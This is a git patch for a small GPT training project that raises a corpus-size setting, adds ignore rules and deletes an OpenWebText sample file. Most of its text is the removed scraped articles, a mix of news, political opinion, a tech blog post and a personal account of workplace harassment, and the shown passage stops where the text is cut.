From 6366f727162b7797bced797050b17d6177acc75d Mon Sep 17 00:00:00 2001 From: Dani Date: Mon, 30 Jun 2025 18:08:11 -0400 Subject: [PATCH] Updated the model capacity --- .gitignore | 6 +- config.py | 2 +- data/openwebtext/owt_20000.jsonl | 10000 ----------------------------- main.py | 66 +- models/gpt.py | 48 +- tools/openwebtext_fetcher.py | 31 +- 6 files changed, 95 insertions(+), 10058 deletions(-) delete mode 100644 data/openwebtext/owt_20000.jsonl diff --git a/.gitignore b/.gitignore index c5979f2..98a6f07 100644 --- a/.gitignore +++ b/.gitignore @@ -205,4 +205,8 @@ cython_debug/ marimo/_static/ marimo/_lsp/ __marimo__/ -/data/books \ No newline at end of file +/data/books +/data/openwebtext +/catlin_tokenizer.pkl +/catlin_model.pt +/catlin_chatlog.txt \ No newline at end of file diff --git a/config.py b/config.py index 72438cc..8f5cb18 100644 --- a/config.py +++ b/config.py @@ -8,4 +8,4 @@ NUM_LAYERS = 6 BATCH_SIZE = 16 LEARNING_RATE = 3e-4 DEVICE = "cuda" # fallback handled in trainer -MAX_TOKENS = 100_000 # Used to cap input corpus size +MAX_TOKENS = 500_000 # Used to cap input corpus size diff --git a/data/openwebtext/owt_20000.jsonl b/data/openwebtext/owt_20000.jsonl deleted file mode 100644 index e22efca..0000000 --- a/data/openwebtext/owt_20000.jsonl +++ /dev/null @@ -1,10000 +0,0 @@ -A magazine supplement with an image of Adolf Hitler and the title 'The Unreadable Book' is pictured in Berlin. No law bans “Mein Kampf” in Germany, but the government of Bavaria, holds the copyright and guards it ferociously. (Thomas Peter/REUTERS) The city that was the center of Adolf Hitler’s empire is littered with reminders of the Nazi past, from the bullet holes that pit the fronts of many buildings to the hulking Luftwaffe headquarters that now house the Finance Ministry. What it doesn’t have, nor has it since 1945, are copies of Hitler’s autobiography and political manifesto, “Mein Kampf,” in its bookstores. The latest attempt to publish excerpts fizzled this week after the Bavarian government challenged it in court, although an expurgated copy appeared at newspaper kiosks around the country. But in Germany — where keeping a tight lid on Hitler’s writings has become a rich tradition in itself — attitudes toward his book are slowly changing, and fewer people are objecting to its becoming more widely available. No law bans “Mein Kampf” in Germany, but the government of Bavaria, where Hitler officially resided at the time of his 1945 suicide, holds the copyright and guards it ferociously. German-language copies that were printed before 1945 are legal, although they command a premium price, and the book is available in translation elsewhere in the world. But the question of whether to publish it in the country where Hitler plotted his empire has lost some of its edge in the Google era, when a complete German-language copy of the book pops up as the second result on the local version of the search engine. “To say this is a very dangerous book, we must ban it, this is ridiculous,” said Wolfgang Wippermann, a professor of modern history at the Free University of Berlin. “Maybe it was necessary once, but now it’s over, it makes no sense. You can find it so easily.” The publisher of the excerpts, London-based Albertus, has said it will appeal the Bavarian government’s injunction. In 2009, the publisher beat charges of copyright violation and the illegal use of Nazi symbols after the Bavarian government seized reprinted copies of the Nazi Party’s in-house newspaper. The attempt to publish portions of “Mein Kampf” on Thursday was scuttled at the last moment, although the publisher, ready to capitalize on the publicity, had printed two versions of the pamphlet. The version propped on top of a heap of celebrity magazines at a newsstand in Berlin’s central Friedrichstrasse station was a slender, blue, 16-page leaflet that has historical commentary in one column and an image of blurred text stamped with “Unreadable” in the other, accompanied by two reproductions of Nazi-era newspapers. “Mein Kampf” “is an awful book, and the whole thinking is absolutely not ours, but we have another view on it regarding the idea of packing it away. This idea is just naive,” said Alexander Luckow, a spokesman for the publisher. “In a free country, you need to discuss these very bad parts of German history.” Still, he said, there are limits, and using Hitler’s words as inspiration, not as historical artifact, is where it crosses the line. “The danger is allowing right-wing people to sell it in bookshops with their modern commentary,” he said. “This is forbidden and it’s good . . . not only in Germany, this should be equal in other countries in Europe. Anti-Semitism is not confined to Germany. You look and it’s all around Europe, dating back to the Middle Ages.” The debate will soon be over, whether or not the latest excerpts make it to newsstands. German law extends copyright 70 years after the author’s death; after 2015, “Mein Kampf” will be fair game. Some in Bavaria’s government worry that neo-Nazis will publish their own version of the book shortly thereafter, and to counter that, they are encouraging a scholarly edition. A group of historians is preparing it. Germany’s Jewish organizations have approached the publication with mixed emotions, sensitive that their country still has problems with neo-Nazis and anti-Semitism. The German government released a study this week that found that one in five Germans has anti-Semitic attitudes. And a neo-Nazi ring that has been linked to at least nine killings before it was shut down in November shocked Germans who thought they had done a thorough job working through their past. “I do very well without any publishing of ‘Mein Kampf,’ ” said Dieter Graumann, the head of the Central Council of Jews in Germany. “In a few years, it will be free, and I have every trust in the democratic maturity of the German people. . . . But for the moment, I am glad it is not.” -For today’s post, I’d like to take a look at California’s voter initiative to legalize pot. If the measure passes, and the sky doesn’t fall, many other states will probably be looking at similar law changes in the near future. Our drug policy of the last century has simply not worked, and it’s heartening to see a state attempting to legalize marijuana. The statistics on marijuana arrests are really shocking. According to the Drug Policy Alliance, which is in favor of legalization, blacks are arrested for marijuana possession between four and twelve times more than whites in California, even though studies have consistently shown that whites smoke more pot than blacks. In the last ten years, around 500,000 people have been arrested for possession. That’s absurd! Think about how expensive that is for the criminal justice system. California spends $216,000 for each juvenile inmate in its prison system, yet it spends only $8,000 per student in the Oakland school system. It seems to me that if you really want to limit drug use, it’d make more sense to spend more money keeping kids in school, helping them achieve. The economic benefits of legalizing marijuana are mind blowing. If marijuana was legalized and taxed at the same rate of tobacco, the money we would save on law enforcement and gain in tax revenue equals about $17 billion. As Nicholas Kristof notes, that is enough money to send every three and four year old in a poor neighborhood to pre-school. Or we could spend that money improving public school education. Or we could use the money to shore up border defense. Whatever we do, $17 billion is not exactly a trivial amount. For me, the biggest reason to legalize marijuana is to hurt the cartels. Immigration has emerged as a hot button issue recently, with Arizona passing a draconian immigration law and many similar propositions being considered by other states. People are worried about violence, and understandably so. No one wants to have foreign drug dealers operating in their back yard. But no matter how many laws we pass, or how much money we spend, marijuana from Mexico and other Latin American countries will always find a way across the border. Drug importers are smart, and the demand is so high that increased patrols by border agents and harsher prison sentences will not act as an effective deterrent. America will always have a demand for marijuana, and that means as long as the drug stays illegal, violent drug cartels will operate in our borders. But what if the drug that the cartels are pushing is suddenly legal? No one in their right mind would buy pot off the street if they could instead walk into a dispensary and buy high quality marijuana legally, and probably for less money than the cartels are charging. Very few people actually want to have to hide their drug use. If given a choice, marijuana smokers would absolutely buy legal drugs. This would severely weaken the cartels, and decrease deaths related to drug trafficking. I’m not advocating drug use here. I know people who have ruined their lives from excess drug use. But it’s not true that marijuana is the gateway drug that people have been demonizing for years. Just because someone smokes pot every once in a while doesn’t mean that person will turn around and become a heroin addict. Yes, marijuana intoxicates you, but so do legal drugs like alcohol. As long as sensible restrictions are built into the law, such as making it illegal to drive under the influence, then there is no reason that marijuana should not be legalized. -Anarchists in solidarity with the purged immigrants of Agios Panteleimonas ventured once again to open the public playground which is kept locked by fascists in favor of segregation, leading to battle with riot police and five arrests. On Tuesday 9/06 anarchists in solidarity to immigrants who are being daily terrorised by fascist thugs of the Golden Dawn neonazi party and their local allies in the area of Agios Panteleimonas, moved to unblock the entrance of the local children playground which the fascists want to keep locked in an effort to impose segregation between greeks and immigrants, and "to preserve the blood purity of the white race"...While unblocking the playground the anarchists were attacked by fascists who were soon routed before the arrival of riot police forces who engaged the anarchists in battle with the aim of protecting the fascists. During the clashes one policeman was injured and five protesters were arrested on criminal charges. After the end of the clashes, a local greek father, Mr Tasoulas, defying the reign of terror in the area, took his son to play in the coveted playground. Soon they were surrounded by fascists who blocked the exit of the playground and threatened to linch the father calling him a traitor. After he managed to handle the child to a sympathetic neighbor, the fascists beat the father in full presence of the chief of the local police station. The strong police forces present at the scene then arrested the father and took him to the local police station, where his solicitor, a leading figure of the legal world and human rights activist, was piled with eggs by fascists who threatened her life. The new tension in the area comes after the euroelection ascent of LAOS, the fascist Popular Orthodox Alarm Party, to the 4th position with 7% of the vote. This in combination with the governing party's landslide defeat, has led the government to endorse the core of the extreme-right wing policies of LAOS, and pledge a mass sweeping operation against illegal immigrants and their greek supporters within the summer. As the concentration camp planned to be built in the old NATO airbase of Aspropyrgos is now deemed impractical, the government has committed several old military camps of disgraceful humanitarian standards around the capital for the purpose of "cleaning the city of foreigners". The measures and discourse comes as little surprise as it comes from a political party famous for wanting to displace homosexuals in desert islands in the late 1970s. Furthermore the "Law and Order" operation of the coming summer is said to also include a mass attack against anarchist squats, and solidarity actions to immigrants by the movement as a whole. This the government hopes to achieve via a virtual military occupation of the center of Athens for the summer months modeled on Olympics 2004, as well as the introduction of a disputed legislation that would eventually render protest marches illegal. Due to the lack of a legislative majority by one MP, the government has resorted to yet another legal trick by increasing the total number of MPs by one, non-elected member of its own liking for the summer session of the Parliament. The dictatorial rule of the right-wing and the ruthless employment of its parastate agents is increasing the tension across the country. Last week one police station in Athens was attacked and a central tax office was bombed by a Marxist guerrilla group, while a series of luxury brothels frequented by the ruling class were destroyed. At the same time, the movement is on its guard in expectation of next Saturday's Gay Pride parade which last year was attacked by parastate fascist thugs, as well as in expectation of an evacuation of the old courts in down-town Athens which are occupied by immigrants and are a constant target by the bourgeois media who waste no time in supporting the fascists in a most unambiguous manner. -The 45-year-old “highway shooter” who engaged in a 12-minute shootout with California Highway Patrol officers earlier this year now says Fox News host Glenn Beck has been an inspiration for his activity. In a several thousand word expose for MediaMatters, Pacifica journalist John Hamilton interviewed the so-called highway shooter, Byron Williams, from prison. In the interview, Williams details what he saw as an elaborate global conspiracy and tells the journalist — whom he sees as his “media advocate” — to look to specific broadcasts of Beck’s show for information on the conspiracy he describes. (MediaMatters says Beck’s show provided “information on the conspiracy theory that drove him over the edge: an intricate plot involving Barack Obama, philanthropist George Soros, a Brazilian oil company, and the BP disaster.”) The release on Hamilton’s story explains that “Williams also points to other media figures — right-wing propagandist David Horowitz, and Internet conspiracist and repeated Fox News guest Alex Jones — as key sources of information to inspire his ‘revolution.'” Williams is quoted as saying that “Beck would never say anything about a conspiracy, would never advocate violence. He’ll never do anything … of this nature. But he’ll give you every ounce of evidence that you could possibly need.” “I collect information on corruption,” Williams says, “I’ve been at it for some time.” Beck, in particular, he says, is “like a schoolteacher on TV.” Williams reportedly told Hamilton, “You need to go back to June — June of this year, 2010 — and look at all his programs from June, and you’ll see he’s been breaking open some of the most hideous corruption.” Hamilton notes that extremism linked to anti-progressive propaganda is nothing new: Conspiracy theory-fueled extremism has long been a reaction to progressive government in the United States. Half a century ago, historian Richard Hofstadter wrote that right-wing thought had come to be dominated by the belief that Communist agents had infiltrated all levels of American government and society. The right, he explained, had identified a “sustained conspiracy, running over more than a generation, and reaching its climax in Roosevelt’s New Deal, to undermine free capitalism, to bring the economy under the direction of the federal government, and to pave the way for socialism or communism.” In a 2009 report, the Southern Poverty Law Center found that the anti-government militia movement — which had risen to prominence during the Clinton administration and faded away during the Bush years — has returned. According to the SPLC, the anti-government resurgence has been buttressed by paranoid rhetoric from public officials like Republican Congresswoman Michele Bachmann and media figures like Fox News’ Glenn Beck. Just last month, Gregory Giusti pleaded guilty to repeatedly threatening House Speaker Nancy Pelosi — including threatening to destroy her California home — because he was “upset with her passing the health care law.” His mother told a local news station that he “frequently gets in with a group of people that have really radical ideas,” adding, “I’d say Fox News or all of those that are really radical, and he — that’s where he comes from.” After the 2008 election, Fox News personalities filled the airwaves with increasingly violent rhetoric and apocalyptic language. On his Fox News show, Beck talked about “put[ting] poison” in Pelosi’s wine. Observers of this most recent act were mystified by one of Byron Williams’ reported targets: the Tides Foundation, a low-profile charitable organization known for funding environmentalists, community groups, and other organizations. Beck, it turned out, had attacked Tides 29 times on his Fox News show in the year-and-a-half leading up to the shooting. In their writeup, The Huffington Post provided a video that detailed Williams’ attack, as posted on YouTube. It follows. -New drunk-driving law cracks down on 3rd DUI LEGISLATURE Drivers who are repeatedly caught drunk behind the wheel could lose their license for up to a decade under legislation signed by the governor Monday. The measure by Assemblyman Jerry Hill, D-San Mateo, allows judges to revoke a person's driver's license for up to 10 years if they have three or more convictions for driving under the influence within the prior decade. Currently, courts may only take away a repeat offender's driver's license for three years. The law will take effect on Jan. 1, 2012. Hill estimated that the measure could help take more than 10,000 repeat DUI offenders off the road each year. Nearly 188,000 DUI convictions were handed down around the state in 2008, he noted, with 9,164 of those drivers on their third conviction and 3,200 with four or more DUI offenses, Hill said. "I urge judges across the state to use this new authority and take repeat DUI offenders off the road," Hill said in a statement. According to the National Highway Traffic Safety Administration, there are 1.5 million DUI arrests in California each year, and one-third of those arrested are repeat offenders. In total, more than 310,000 Californians have three or more DUI convictions, according to the agency. "This legislation is an important step toward making California's roads safer," Republican Gov. Arnold Schwarzenegger said in a statement. "Those who have multiple DUI convictions should not be on the road threatening lives." -While it’s good to see that number of obese and overweight children has (slightly) fallen for those starting school, one in 10 children is still entering reception obese or overweight, rising to one in five at the start of secondary school. More startlingly, the figures from the Health & Social Care Information Centre show that 25% of children in poorer areas are obese, compared to about 11% in more affluent areas. Let’s absorb that disturbing fact – right now, Britain’s poor children are more than twice as likely to be obese or overweight. Responses to these statistics have included calls for a ban on junk food advertising before the 9pm watershed, but is this really the most productive way forward? What if it’s not so much about “junk food”, as we define it, but, rather, that all too often these days the junk is the food and the food is the junk – and that sometimes, for people on tight budgets, this is all that’s reasonably achievable? Once poverty enters the equation, it’s simply not about junk food as we understand it anymore. Say junk food and an image springs to mind of people allowing their children to scarf down crisps, sweets, and the now notorious fizzy drinks, or burgers, pizzas and fried chicken from overflowing buckets. The implication is that the problem lies with the treats and extras, consumed on top of real meals and that children are being overindulged, to the detriment of their health. However, this image of feckless, uncaring, underprivileged Britons encouraging their fat children to over-snack simply doesn’t ring true, especially considering that these are households where, by definition, money is tight. On the contrary, it seems obvious that the actual meals are contributing hugely to the problem – and that this is where austerity is having a terrifying and sustained impact. While healthy food is often prohibitively expensive, less healthy options are relatively as cheap as, well, chips. When parents have to find the cheapest food available for their family, it’s nearly always going to be less likely to be fresh; more likely to be highly calorific (therefore “filling”), as well as packed with additives whose addictive and metabolism-skewing properties should not be discounted. You also have to factor in how exhausting poverty is. Often the last thing that stressed, skint parents need at the end of the day is to start a meal from scratch. This is why, however well meant, the “why not buy some veg from the local market and make a lovely stew?” rationale so often takes on the shrill ring of Marie Antoinette’s fabled suggestion about the poor eating cake. That’s the cruel thing about cooking. It’s not all about “lazy proles” and their lost culinary skills. Something that’s a hobby, a stress release, in an affluent household, too easily becomes an extra source of tension in an impoverished one. Moreover, “real” cooking can be expensive – from the ingredients, and the herbs and spices, to the equipment, even the gas or electricity. Hence the microwave, the ripping open of the packet, the easier solution. Who’s to judge? Plenty of people do. Perhaps it could be acknowledged that the very concept of junk food has become absurdly dated and misleading. That shifts in fundamental food culture (the creep of junk into normal meals) appear to be a much more profound problem than merely overindulging in signposted treats. Kids eating rubbish has always been with us but it is only now that the staples, the dietary cornerstones, are also unhealthy, that their weight problems are escalating. Nor is the problem confined to junk food advertising – if only it were that simple. Like with most things that become uncontrollable in life, money lies at the core. Poverty isn’t only exhausting and limiting, it’s also highly fattening. Coe did the right thing. But why did it take so long? Facebook Twitter Pinterest Better late than never. Sebastian Coe has walked away from his Nike contract. Photograph: Lionel Cironneau/AP Even though Sebastian Coe has finally resigned from his £100,000-a-year role as Nike ambassador, he still insists that there was no conflict of interest with his position as president of the IAAF. Is he on another planet or am I? Coe’s resignation doesn’t prove that there was any wrongdoing, even with the email that surfaced relating to Eugene (birthplace of Nike) winning the right to stage the 2012 World Athletics Championships without others being allowed to bid. As things stand, Coe’s conduct appears to have been above board. Nevertheless he has to stop this ludicrous sulking as if a big fuss is being made about nothing. This is a prime example of a big fuss being made about… something. Obviously, it is not feasible for the president of IAAF simultaneously to be signed up as an ambassador to a major international sportswear company. Likewise, Coe’s main argument concerning the longevity of his association with Nike (38 years) is resentful, entitled nonsense. It’s time for Coe to be philosophical. This was a blatant conflict of interest and the only mystery is how it wasn’t dealt with when he became president earlier this year. Let Katie Hopkins damn herself Facebook Twitter Pinterest Katie Hopkins: the face of unreason. Photograph: Dan Kennedy/Discovery Communications/Dan Ken It seems as though every week now there is a terrible darkening of the skies as a giant candlesnuffer slams down over the flickering wick of free speech. This time, it happened at Brunel University, where Katie Hopkins was spouting her usual informed, enlightened views on welfare. (Oh sorry, I went a bit funny there.) Hopkins wasn’t banned from speaking. Instead, just as she began to talk, a large bunch of students stood up, turned their backs on her and walked out of the hall. It was an action that was widely billed as a wonderful compromise protest, but it wasn’t really. Of course it was better than banning – but only because anything is better than banning. It wasn’t spontaneous, and therefore looked staged and just a little pompous. Nor, crucially, did it respect one of the foremost principles of free speech. Free speech is not just about someone being allowed to talk, it is also about them being properly heard and debated, and this holds true, even when that someone is as idiotic and offensive as Hopkins. Especially then. For free speech to work, you have to let people speak first, and then challenge them via debate, which means no bans or, indeed, back-turnings and walk-outs. Otherwise, all that happens is that people such as Hopkins remain wedded to the delusion that they’re fearless speakers of truth. Ideally, they should have their arguments brusquely shredded in a public forum. The Brunel University walk-out was not a compromise protest, it was just a way of banning without actually banning. Everyone has to stop panicking and just allow people to be annoying bigots. Last time that I checked, the good people of Britain could cope. -The Reds announced that they signed free agent outfielder Ryan Ludwick to a two-year deal with a mutual option for 2015 (Twitter link). The BHSC client obtains a $15MM guarantee following his best offensive season since he was a member of the Cardinals. The Reds made the free agent outfielder a two-year two-year offer earlier in the week, but John Fay of the Cincinnati Enquirer reported that at least one other club was being more aggressive on Ludwick. The 34-year-old posted a .275/.346/.531 batting line with 26 home runs in 472 plate appearances for the Reds this past season, a marked improvement from 2010-11 when he didn't hit more than 17 home runs or post an OPS above .750. Ludwick ranked 26th on MLBTR's list of top 50 free agents with MLBTR's Tim Dierkes correctly predicting that he would re-sign with the Reds. Jon Heyman of CBSSports.com first reported the agreement and the dollar amount. Fay first reported the option year and that the Reds were making progress toward a deal. Photo courtesy of US Presswire. -What if I want to build everything in ClojureScript JiyinYiyong Blocked Unblock Follow Following May 31, 2017 Many things have changed since I wrote this post, check out updates on shadow-cljs. That’s might be promising. JavaScript is becoming more and more mature. For front-end, React/Anguar/Vue are capable of building middle-size or even large apps, with help of all kinds of components and libraries. Deploying webapps is never easier, Webpack has almost all the features we need. For backend, Node.js ecosystem has been evolving since 2009, we have Express and Koa, with all kinds of middlewares. No mention how many developers are participating in “rewriting everything in JavaScript”. JavaScript is a messy world. Mixed language paradigms, inconsistent languages features, lots of innovations toward different and sometimes opposite directions. It’s hard to get well with such an inconsistent programming language. However, it turned out people like to use it thanks to its successful ecosystem. ClojureScript is in a different situation. We have faith in functional programming but there’s not a large community to support it. Here’s the problem in me. I want to build websites with only ClojureScript. How can I achieve that? For front-end, ClojureScript libraries and components are relatively rare(or at least hard to find many of them on Google). Yes we can use use JavaScript libraries and components. However it’s not always true. Take an example from React and Vue, which are both in JavaScript, but it’s impractical to share components from each other. I saw people using React components in Reagent or Rum many times. I was convinced it’s possible. But I don’t think it’s easy since we may need so many components. For backend it’s worse. People are using Clojure to build web servers. Being a JavaScript developer there are lots of barriers if I want to pick up the whole Java ecosystem. Developing and debugging Clojure is a lot different from ClojureScript. And for web servers, the JavaScript community is throwing away expressing and going toward Koa with async/await support, while in ClojureScript it’s core.async , a lot different. We can still Google and find blogs and projects on using React components in ClojureScript, but it’s fewer results for Node.js, besides, how about the framework and libraries? And I’m not sure about the database part either. It’s not easy to believe in ClojureScript. To see JavaScript developers using create-react-app, using Koa, although slowly but most aspects of developing are covered by people who went ahead. In using ClojureScript, I have to take every step very carefully, sometimes in debugging without SourceMaps on variables, sometimes worried about where to find guides and docs, sometimes anxious about people misunderstanding my work. I will still pick ClojureScript as the primary language for my personal projects. Also I’m fully aware that it adds limits to me so someday I still need to pick up some other languages to finish my work. It will be my big problem in the near future. I already see it and it made me feel sad that I can only write fast in ClojureScript. ClojureScript has some unique features that help me finished Stack Editor and Cumulo, but also trapped me here. I do hope that I learnt ClojureScript I can program all things I need, it’s always not true for any language. Now I have to consider what to do next. In the past years I built many toy apps, none of them reached the complexity of real-world products. I have to learn such ability. Bet on ClojureScript or another? -Ben White writing in the Independent: This is Israel in 2012 according to a top UN body. Using unprecedented strong language, the UN Committee on the Elimination of Racial Discrimination (CERD) criticised Israeli policies in terms of “apartheid”, as part of their published observations following a regular review. Affirming the kind of analysis that Israel’s advocates try to dismiss as lies or rhetorical excess, the Committee slammed Israel for violating the right to equality in numerous policy areas. CERD described “segregation between Jewish and non-Jewish communities”, a lack of “equal access to land and property”, and “the ongoing policy of home demolitions and forced displacement of the indigenous Bedouin communities” in the Negev. The lack of a “prohibition of racial discrimination” in Israel’s Basic Law was highlighted, and more recent developments, such as the restrictions on family unification affecting Palestinian citizens were also part of CERD’s wide-ranging criticisms. The Committee’s observations also covered Israel’s policies in the Occupied Territories, showing how the same discriminatory patterns are found on both sides of the Green Line. Israeli settlements in the West Bank form part of a regime of “de facto segregation” severe enough to cause the Committee to remind Israel of the “prohibition” of policies of “apartheid”. According to Dr David Keane, senior lecturer in law at Middlesex University and author of ‘Caste-based Discrimination in International Human Rights Law’, this is “the most cutting CERD recognition and condemnation of a legal system of segregation since apartheid South Africa”. -RCMP Commissioner Bob Paulson says the OPP's much-anticipated report into the RCMP's response to the Parliament Hill shootings will be released this week or next. Paulson told the Senate's national security committee Monday his force are on the verge of releasing the report. The report was commissioned by House Speaker Andrew Scheer after he asked for an independent police investigation following the Parliament Hill shootings. The OPP led the investigation and submitted the report to the House of Commons in early April. When it was delivered, there were initial concerns whether the report would be made public or not. Paulson told senators the report examines the RCMP's response to the Oct. 22, 2014 shooting, both outside Parliament Hill and inside Centre Block. That's where shooter Michael Zehaf-Bibeau was finally shot and killed. Paulson also told senators the Mounties will release the remaining 18 seconds of the Zehaf-Bibeau cellphone video in the coming weeks. Zehaf-Bibeau recorded the video immediately before the fatal shooting. The RCMP already released 55 seconds of the video at a Commons public safety committee meeting in March. "This is in retaliation for Afghanistan and because [Prime Minister Stephen Harper] wants to send his troops to Iraq," Zehaf-Bibeau, says in the video. "Canada's officially become one of our enemies by fighting and bombing us and creating a lot of terror in our countries and killing us and killing our innocents. So, just aiming to hit some soldiers just to show that you're not even safe in your own land, and you gotta be careful.​" In March, Paulson told reporters the remaining 18 seconds was edited for "sound operational" reasons. Thirteen seconds were cut from the beginning of the video and five seconds were edited from the end. -The way forward for autoworkers: An online interview with Jerry White 15 October 2015 This Sunday, October 18, at 3:00 PM Eastern Daylight Time (conversions here), the World Socialist Web Site will host an online interview with WSWS Autoworker Newsletter editor Jerry White to review the political lessons of the contract fight. White will be joined by WSWS reporter Eric London, who will conduct the interview and field questions from autoworkers across the country. The interview will be broadcast at wsws.org/autoworkers/interview. The battle by autoworkers in the United States has reached a critical juncture. After Fiat Chrysler workers overwhelmingly defeated the contract pushed by the United Auto Workers earlier this month, the UAW has brought back another deal crafted to meet the strategic aims of the auto corporations and Wall Street. No matter what the spin the UAW’s PR firm puts on it, the new deal, like the first, would accelerate the descent of autoworkers—once among the highest-paid industrial workers in the world—into the ranks of the working poor. The challenges autoworkers face are immense, but the forces they can mobilize among workers and youth in the US and around the world are more powerful. To carry out a successful struggle, however, autoworkers who are leading this fight have to have a clear understanding of the economic and political forces that they confront. To submit a question in advance of the interview, please register below. We urge our readers to make a donation to help the WSWS broaden the campaign amongst US autoworkers. -Don’t raise your voice here. Angela Kabari Blocked Unblock Follow Following Jul 20, 2017 My name is Angela. I am the woman in the centre of the current Ushahidi sexual harassment scandal. The past six months have been some of the most bizarre in my life and, on the balance, I think there is benefit in sharing my experience with the world so that lessons may be learned from it. It is my hope that, my story shall prompt a change in company policies, both in the Kenyan tech space and in other fields. I joined Ushahidi in September 2015 as a Capacity Development Officer for Making All Voices Count. My time there was mostly enjoyable: the work was challenging, the team was great, and the environment was liberal and progressive. All in all, a good place to be. Of course, everything was not perfect, but what organisation does not have issues and day-to-day frictions? This changed on the morning of January 19th 2017, when Daudi Were, the Executive Director at Ushahidi asked me to have sex with a colleague, presumably for his own titillation. The events of that night left me troubled and confused. I knew that what had happened to me was not right, but I thought it was an isolated incident and decided to forget it and attempted to move on. (For details of this, see here my statement on the events of the night as well as a transcript of the audio. Some of the names in the transcript have been altered to protect the identities of my former colleagues. Aside from this, no other alterations have been made to it). I managed to do this for precisely one week after which I began to lose focus on my work. Over the next two weeks, I started to experience migraines whenever I went to the office. I did not want to leave my bed, yet I was sleeping poorly. I had experienced some periodic stomach upsets prior to and during the team retreat. However, after the retreat, these became worse and more frequent. At first, I thought that this was due to the upheaval that the Making All Voices Count programme was experiencing at the time due to international politics (it was negatively impacted by Brexit and changes in US presidency). I also thought that I might be physically ill so I sought professional advice from my doctor. I was diagnosed with a bacterial infection of the gut, but my doctor could not account for all my other symptoms. Upon his advice, I went to see a therapist who suggested some exercises to help me figure out what was wrong. I also took 3 weeks off from work from late February to mid-March as I thought I might be suffering from ordinary stress and burnout. It was during this time off that I did the exercises prescribed by the therapist and I realised that my problem was psychosomatic. The distress from the incident in January had caught up with me, almost a month later. I had tried to pass off Daudi’s remarks as drunkenness or joking but my body wasn’t buying it. It was at this point that I decided to quietly resign; I still wasn’t convinced that it was something I could or should raise with my employers. Once I had made this decision in early March, I separately confided in two close friends that I was looking for a new job because I was uncomfortable with continuing to work at Ushahidi. When they asked why I was leaving, I shared with them some details of what had happened with Daudi. In the course of our conversations, I was stunned to learn that Daudi’s comments were not the isolated incident I had assumed but rather that he had a years’ long, widely-known reputation for sexually inappropriate conduct, socially and at work. After my leave was over, I began predominantly working from home, which thankfully was possible as Ushahidi allows remote working. I was going to the office only thrice a month on average and I timed my visits to the office to ensure that I would not have to run into Daudi. It was in early April, after a month of soul searching and conversations with three other women who had been on the receiving end of unwelcome attention from Daudi, that I came to the conclusion that something needed to be done. Unfortunately, I seemed to be the only person with both tangible evidence of his misconduct, as well as an employer-employee relationship. It is then that I sought legal advice and learned that, based on the provisions of Ushahidi’s HR Manual, as well as Kenyan and Florida Law, Daudi’s comments qualified as sexual harassment by creating a hostile environment. I was advised that I could file a court case but that it would be prudent to first give the company an opportunity to address the issue internally as the court should be a last resort. With this in mind, I began to reach out to some of the women I had spoken to earlier. At this stage, I had been able to identify over five women who had also had inappropriate encounters with Daudi. Only one woman was willing to come forward if the Board could guarantee that she would remain anonymous. Some of the other women had no evidence of their allegations and thus did not expect to be believed. Others did not want to be associated with something so potentially scandalous or to rehash past traumatic events. It therefore took about three more weeks to get my ducks in a row and submit the complaint to the board; I did that on 4th May 2017. See this timeline for what transpired since. Since then, I have heard terrible stories from a total of eleven women who have told me about having similar unpleasant encounters with Daudi, in addition to another ten or so stories that I’ve been unable to verify. The behaviour told of in these stories varies from inappropriate and/or suggestive text messages to sending of pictures of male genitalia and pornography. In one incident Daudi allegedly exposed his genitals to a woman in the middle of a conversation about her work. Viewed against this grim picture, I feel as if I got off lightly. And, in the larger spectrum of harassment that encompasses physical assault and even sexual assault, it is easy to dismiss what happened to me as trivial. Except that it is not. I’ve actually had people tell me “It was only words so it’s not a big deal — at least he didn’t rape you.” However, in my view, verbal harassment is not inconsequential; in addition to being traumatic, it is often the gateway to more grievous offences and thus should not be treated lightly or ignored. The reason I did not come forward with my story earlier is because, under Kenyan law, it is not permitted to comment on matters currently before a court. In this case, I was advised that as a show of good faith I should uphold this convention and extend its application to the internal Ushahidi process, even though the convention does not apply because the internal process was not judicial. But now that the Ushahidi Board has suspended Daudi after finding him guilty of gross misconduct, and will issue him with a notice to show cause why his employment should not be terminated, I am of the view that I am finally free to speak and comment on this entire debacle. I have two main bones of contention. The first is Daudi’s behaviour. Based on the additional allegations made via tweets and offline discussions that have occurred since the news of my complaint came to light on 9th July, it would not be a stretch to call Daudi’s alleged behaviour predatory. Such predation is enabled by a culture of silence and secrecy that encourages victims of harassment to “not make a fuss” or “persevere” or “just ignore him until he gets tired or bored and goes away.” This culture leads many, many victims to not call out predatory behaviour and report it as the violence it actually is. This culture feeds into the victims’ fears that there is no point in speaking out against the harassment they face and leads them to feel like they have no option but to suffer in silence. This must stop! We cannot expect victims of harassment to speak up if they are (rightly) afraid that public opprobrium will follow. My second bone of contention is the Board’s response. I have been deeply let down by the actions and inaction of David Kobia, Erik Hersman, Juliana Rotich and Jenny Stefanotti. Ever since I lodged my complaint on 4th May, I have been subjected to all the negative repercussions that make victims of harassment afraid to speak out: Lack of support: Over the 74 days of this ordeal, not a single board member has reached out to inquire about my well being in any way, shape or form. Not a phone call, not an email, not through a third party. I shall repeat this again: nobody from Ushahidi leadership or the board has at any point bothered to ask if I’m okay or sought to alleviate the adverse impact this has had on my work and health. The only person in management who displayed any concern is my supervisor who, even though he is my direct line manager, only found out about this when I informed him of my intention to leave Ushahidi on 19th June. The Board have claimed on several occasions that they refrained from enquiring about my well-being because they feared incurring legal liability. To the best of my knowledge, no laws prohibit a person from asking “how are you?” Anyone possessing some basic human decency should know — and do — better. Victim shaming: All through this process, I have been subtly censured by the Board for seeking and retaining legal counsel. The rationale is that I “made this legal and complicated” by involving a lawyer which forced everyone else to lawyer up and thus led to the delays in handling the matter. This has been said to me personally by Erik Hersman and is a sentiment that has been repeated several times by other Board members, and their counsel in both private and public conversations. Slander: I have been reliably informed of more than one instance where Daudi has made comments to the effect that I am the one who pursued him for the purposes of establishing a sexual relationship and that I only filed a complaint when he rejected me. These comments were made to both colleagues and at project meetings with Ushahidi partners. I have tried to bring this up at least twice: once in the 24th May letter to the Board and subsequently at the internal hearing on 5th July. In the first instance, I received no response while in the second I was not even allowed to complete my question and was told that “my question is not relevant” as these events occurred after my complaint was made and thus were not covered by the inquiry. Delays: It took 74 days to get a decision from the Board. Nothing except enthusiastic letter writing was done for the first 60 days. And even the letters from the Board’s counsel seemed to be sent by literal snail mail — there was always a delay of 1 to 4 working days, and unlike the other lawyers they did not send advance copies of their letters via e-mail. The Board only seemed to act once the matter became public — first with Making All Voices Count followed then in various Kenyan WhatsApp groups, blogs and media. More happened in days 60–74 (15 days) than 